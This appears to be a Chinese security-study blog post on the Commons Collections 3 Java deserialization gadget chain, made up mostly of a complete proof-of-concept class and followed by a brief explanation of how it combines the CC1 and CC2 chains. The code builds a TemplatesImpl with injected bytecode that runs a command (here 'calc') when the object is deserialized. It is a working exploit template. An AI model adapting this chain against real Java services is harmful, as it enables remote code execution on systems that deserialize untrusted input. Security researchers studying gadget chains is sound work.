CC3

JDK 版本：1.7 （8u71 之后已修复不可利用）
CommonsCollections 3.1

直接给 POC 了，就是 cc2+cc1

package com.yq1ng.cc3;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

/**
 * @author ying
 * @Description
 * @create 2021-11-23 13:47
 */

public class cc3 {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);

        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        /*
        	这里new ConstantTransformer(TrAXFilter.class)返回TrAXFilter类，然后传给InstantiateTransformer
            InstantiateTransformer在构造函数中实例化TrAXFilter类，然后又调用它的构造方法，进而调用newTransformer()方法
        */
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        });

        //	触发InstantiateTransformer#transform()
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);


        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);


        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
            outputStream.writeObject(handler);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

先看com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java

cc2 可以知道，TemplatesImpl 是可以加载任意字节码的，这个类先放着。
来看 org/apache/commons/collections/functors/InstantiateTransformer.java，它的transform()又可以实例化任意类

而transform()在 cc1 中是通过 LazyMap#get()触发的，cc2 与 cc1 结合起来就达到从 LazyMap 到加载任意字节码的效果
上面 poc 实现效果如下